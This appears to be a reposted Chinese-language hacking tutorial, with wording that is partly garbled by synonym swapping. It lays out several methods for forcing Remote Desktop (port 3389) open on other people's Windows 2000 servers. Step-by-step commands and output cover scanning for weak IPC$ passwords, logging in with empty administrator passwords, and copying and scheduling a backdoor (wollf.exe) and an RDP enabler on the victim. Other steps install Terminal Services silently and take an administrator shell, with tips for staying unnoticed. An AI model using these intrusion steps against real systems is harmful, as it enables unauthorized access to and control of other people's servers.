快捷搜索:

5种开启3389的方法

第一种措施:

==========================================================================================

应用的对象:

1:ipcscan扫描器

2:终端办事连接对象xpts.exe(WIN 2000/XP 终端连接法度榜样. 内附有COPY 文件的补丁. 款式 IP:Port )

3:开终真个脚本rots.vbs(灰色轨迹zzzevazzz的作品)

4:cscript (在system32文件夹下;98操作系统可能没有

二:步骤:

1:用ipcscan扫描弱口令(你们可以自己扫,我也扫到一些弱口令主机.演实光阴我在论坛上再发)

2:用rots.vbs开启终端办事

阐明 cscript ROTS.vbs[办事端口] [自动重起选项]

款式 cscript.exe rots.vbs ip user userpass port /r

或者 cscript.exe rots.vbs ip user userpass port /fr

三:常见问题:

1:脚本会判断目标系统类型,假如不是server及以上版本,就会提示你是否要取消。由于pro版不能安装终端办事.假如你确信脚本判断差错,就继承安装好了.

2:可能会呈现:Conneting 202.202.202.202 ....Error0x80070776 .Error description: 没有发明指定的此工具导出者,这个照样放弃吧.

3:可能会连接不上,请用这个款式127.0.0.1:1818 1818是刚才开的端口.

==========================================================================================

第二种措施:

==========================================================================================

进入后:TELNET上去!

c:\>echo [Components] > c:\rock

c:\>echo TSEnable = on >> c:\rock

c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\rock /q

或者!

c:\>echo [Components] > d:\wawa

c:\>echo TSEnable = on >> d:\wawa

c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:d:\wawa /q

等会自动启后就OK

或者:

在本地使用DOS敕令edit建立.bat后缀批处置惩罚文件(文件名随意) echo [Components] > c:\sql

echo TSEnable = on >>

c:\sqlsysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q

net use \\ip地址\ipc$ 密码 /user:用户名(一样平常默认:administrator)

使用at time 获取对方办事器光阴。

copy 路径:\xxx.bat \\ip地址\$c:\winnt

at time 00:00:00 xxx.bat

办事器履行敕令后,办事器将从新启动,使用3389登岸就OK了!

==========================================================================================

第三种措施:

==========================================================================================

进入后,再次反省终端组件是否安装:

c:\>query user

这个对象必要安装终端办事.

这样就进一步确定了组件没有被安装.假如返回:

USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME

>w1 console 0 运行中 . 2002-1-12 22:5

\\类似这样的信息,可能组件就已安装.

好!都清楚了,可以开始安装了.

---------------------------------------------------

C:\>dir c:\sysoc.inf /s //反省INF文件的位置

c:\WINNT\inf 的目录

2000-01-10 20:00 3,770 sysoc.inf

1 个文件 3,770 字节

-----------------------------------------------------

C:\> dir c:\sysocmgr.* /s //反省组件安装法度榜样

c:\WINNT\system32 的目录

2000-01-10 20:00 42,768 sysocmgr.exe

1 个文件 42,768 字节

-----------------------------------------------------

c:\>echo [Components] > c:\rock

c:\>echo TSEnable = on >> c:\rock

//这是建立无人介入的安装参数

c:\>type c:\rock

[Components]

TSEnable = on

//反省参数文件

------------------------------------------------------

c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\rock /q

-----------------------------------------------------

这一条便是真正安装组件的敕令.

以上这条敕令没有加/R参数,主机在安装完后自动重起.

如若加了/R参数主机就不会重起.

假如统统正常的话,几分钟后对方主机将会离线,当它从新回来时,

3389终端办事就已经开启.你就可以连上去了.

问题和建议:

A 在安装历程中,不应用/R,无意偶尔主机也不会重起,你就要手动重起他,但在应用诸如:iisreset /reboot敕令时,对方

的屏幕会呈现个对话框,写着谁引起的此次启动,离重起还有若干秒.

B 一次不可可以再试一次,在实际中很有感化.

C 在输入sysocmgr敕令开始安装时,必然不要把敕令参数输错,那会在对方呈现一个大年夜的对话框,是sysocmgr的赞助,很是显眼,

而且要求确定.在你的屏幕上是不会有任何反映的,你不会知道掉足,以是会有B的建议.

==========================================================================================

第四种措施:

==========================================================================================

C:\Documents and Settings\shanlu.XZGJDOMAIN>net use \\218.22.155.*\ipc$ "" /us

er:administrator----------------连接成功!

敕令成功完成。

C:\Documents and Settings\shanlu.XZGJDOMAIN>copy wollf.exe \\218.22.155.*\admi

n$------------------------------拷贝wollf.exe到目标谋略机的admin$目录

已复制 1 个文件。

C:\Documents and Settings\shanlu.XZGJDOMAIN>copy hbulot.exe \\218.22.155.*\adm

in$-----------------------------拷贝hbulot.exe到目标谋略机的admin$目录

已复制 1 个文件。

C:\Documents and Settings\shanlu.XZGJDOMAIN>net time \\218.22.155.*

\\218.22.155.* 确当前光阴是 2002/12/1 上午 06:37

敕令成功完成。

C:\Documents and Settings\shanlu.XZGJDOMAIN>at \\218.22.155.* 06:39 wollf.exe

新加了一项功课,其功课 ID = 1--指定wollf.exe在06:39运行

------------------------------------------------------------------------------------------

阐明:

wollf.exe是一个后门法度榜样,很多高手都爱好nc或者winshell,不过我对他情有独钟!在这里我只先容与本文内

容有关的敕令参数,它的高档用法不做弥补。

hbulot.exe是用于开启3389办事,假如不是server及以上版本,就不要运行了。由于pro版不能安装终端办事。

2分钟后......

------------------------------------------------------------------------------------------

C:\Documents and Settings\shanlu.XZGJDOMAIN>wollf -connect 218.22.155.* 7614

"Wollf Remote Manager" v1.6

Code by wollf, http://www.xfocus.org

------------------------------------------------------------------------------------------

阐明:

应用wollf连接时要留意wollf.exe要在当前目录,它的连接敕令款式:wollf -connect IP 7614

7614是wollf开放的端口。假如显示如上,阐明你已经连接成功,并具有治理员administrator权限。

------------------------------------------------------------------------------------------

[server@D:\WINNT\system32]#dos

Microsoft Windows 2000 [Version 5.00.2195]

(C) 版权所有 1985-2000 Microsoft Corp.

------------------------------------------------------------------------------------------

阐明:

输入dos,你就会进入目标机的cmd下,这时同样具有administrator权限。

------------------------------------------------------------------------------------------

D:\WINNT\system32>cd..

cd..

D:\WINNT>dir h*.*

dir h*.*

驱动器 D 中的卷没有标签。

卷的序列号是 1CE5-2615

D:\WINNT 的目录

2002-11-27 03:07Help

2002-09-10 12:16 10,752 hh.exe

2002-10-01 08:29 24,576 HBULOT.exe

2 个文件 35,328 字节

1 个目录 9,049,604,096 可用字节

D:\WINNT>hbulot

hbulot

------------------------------------------------------------------------------------------

阐明:

由于我们把HBULOT.exe放到目标机的admin$下的,以是先找到它,以上是文件的寄放位置。

==========================================================================================

D:\WINNT>exit

exit

Command "DOS" succeed.

[server@D:\WINNT\system32]#r

您可能还会对下面的文章感兴趣: